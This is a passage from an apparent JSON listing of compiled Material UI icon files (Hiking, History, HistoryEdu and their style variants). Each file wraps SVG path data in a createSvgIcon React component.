    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'Hiking');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hiking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'Hiking');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M18.25 9c-.41 0-.75.34-.75.75v1.03c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44L7.25 21.76c-.13.64.36 1.24 1.02 1.24.49 0 .91-.34 1.02-.81L10.9 15l2.1 2v5c0 .55.45 1 1 1s1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45L12.9 13.5l.6-3c1 1.15 2.41 2.01 4 2.34v9.41c0 .41.34.75.75.75s.75-.34.75-.75V9.75c0-.41-.34-.75-.75-.75M7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M18.25 9c-.41 0-.75.34-.75.75v1.03c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44L7.25 21.76c-.13.64.36 1.24 1.02 1.24.49 0 .91-.34 1.02-.81L10.9 15l2.1 2v5c0 .55.45 1 1 1s1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45L12.9 13.5l.6-3c1 1.15 2.41 2.01 4 2.34v9.41c0 .41.34.75.75.75s.75-.34.75-.75V9.75c0-.41-.34-.75-.75-.75M7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-3.1-.6 1.34-6.87 3.13.61z\"\n}), 'HikingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-3.1-.6 1.34-6.87 3.13.61z\"\n}), 'HikingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HikingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 5.28c-1.23-.37-2.22-1.17-2.8-2.18l-1-1.6c-.41-.65-1.11-1-1.84-1-.78 0-1.59.5-1.78 1.44S7 23 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3c1 1.15 2.41 2.01 4 2.34V23H19V9h-1.5zM7.43 13.13l-2.12-.41c-.54-.11-.9-.63-.79-1.17l.76-3.93c.21-1.08 1.26-1.79 2.34-1.58l1.16.23z\"\n}), 'HikingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/History.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8z\"\n}), 'History');"
  },
  {
    "path": "packages/mui-icons-material/lib/History.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8z\"\n}), 'History');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEdu.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEdu');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEdu.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEdu');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v.38c-.83-.33-1.72-.5-2.61-.5-1.42 0-2.84.43-4.05 1.29-.51.36-.57 1.09-.13 1.53l2.57 2.57h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H7c-.55 0-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V5c0-.55-.45-1-1-1H10c-.55 0-1 .45-1 1m-1.11 5.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-1c0-.55-.45-1-1-1h-5v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v.38c-.83-.33-1.72-.5-2.61-.5-1.42 0-2.84.43-4.05 1.29-.51.36-.57 1.09-.13 1.53l2.57 2.57h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H7c-.55 0-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V5c0-.55-.45-1-1-1H10c-.55 0-1 .45-1 1m-1.11 5.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-1c0-.55-.45-1-1-1h-5v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}), 'HistoryEduSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.34 9.76 9.93 8.34c-.95-.94-2.2-1.46-3.54-1.46-.63 0-1.25.12-1.82.34l1.04 1.04h2.28v2.14c.4.23.86.35 1.33.35.73 0 1.41-.28 1.92-.8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 6.62 6 5.97V14h-1.41l-2.83-2.83-.2.2c-.46.46-.99.8-1.56 1.03V15h6v2c0 .55.45 1 1 1s1-.45 1-1V6h-8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}, \"2\")], 'HistoryEduTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryEduTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.34 9.76 9.93 8.34c-.95-.94-2.2-1.46-3.54-1.46-.63 0-1.25.12-1.82.34l1.04 1.04h2.28v2.14c.4.23.86.35 1.33.35.73 0 1.41-.28 1.92-.8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 6.62 6 5.97V14h-1.41l-2.83-2.83-.2.2c-.46.46-.99.8-1.56 1.03V15h6v2c0 .55.45 1 1 1s1-.45 1-1V6h-8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v1.38c-.83-.33-1.72-.5-2.61-.5-1.79 0-3.58.68-4.95 2.05l3.33 3.33h1.11v1.11c.86.86 1.98 1.31 3.11 1.36V15H6v3c0 1.1.9 2 2 2h10c1.66 0 3-1.34 3-3V4zm-1.11 6.41V8.26H5.61L4.57 7.22a5.07 5.07 0 0 1 1.82-.34c1.34 0 2.59.52 3.54 1.46l1.41 1.41-.2.2c-.51.51-1.19.8-1.92.8-.47 0-.93-.12-1.33-.34M19 17c0 .55-.45 1-1 1s-1-.45-1-1v-2h-6v-2.59c.57-.23 1.1-.57 1.56-1.03l.2-.2L15.59 14H17v-1.41l-6-5.97V6h8z\"\n}, \"2\")], 'HistoryEduTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'HistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'HistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.26 3C8.17 2.86 4 6.95 4 12H2.21c-.45 0-.67.54-.35.85l2.79 2.8c.2.2.51.2.71 0l2.79-2.8c.31-.31.09-.85-.36-.85H6c0-3.9 3.18-7.05 7.1-7 3.72.05 6.85 3.18 6.9 6.9.05 3.91-3.1 7.1-7 7.1-1.61 0-3.1-.55-4.28-1.48-.4-.31-.96-.28-1.32.08-.42.42-.39 1.13.08 1.49C9 20.29 10.91 21 13 21c5.05 0 9.14-4.17 9-9.26-.13-4.69-4.05-8.61-8.74-8.74m-.51 5c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.09-.82-.26-1.03l-2.88-1.71v-3.4c0-.4-.34-.74-.75-.74\"\n}), 'HistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.26 3C8.17 2.86 4 6.95 4 12H2.21c-.45 0-.67.54-.35.85l2.79 2.8c.2.2.51.2.71 0l2.79-2.8c.31-.31.09-.85-.36-.85H6c0-3.9 3.18-7.05 7.1-7 3.72.05 6.85 3.18 6.9 6.9.05 3.91-3.1 7.1-7 7.1-1.61 0-3.1-.55-4.28-1.48-.4-.31-.96-.28-1.32.08-.42.42-.39 1.13.08 1.49C9 20.29 10.91 21 13 21c5.05 0 9.14-4.17 9-9.26-.13-4.69-4.05-8.61-8.74-8.74m-.51 5c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.09-.82-.26-1.03l-2.88-1.71v-3.4c0-.4-.34-.74-.75-.74\"\n}), 'HistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistorySharp.js",
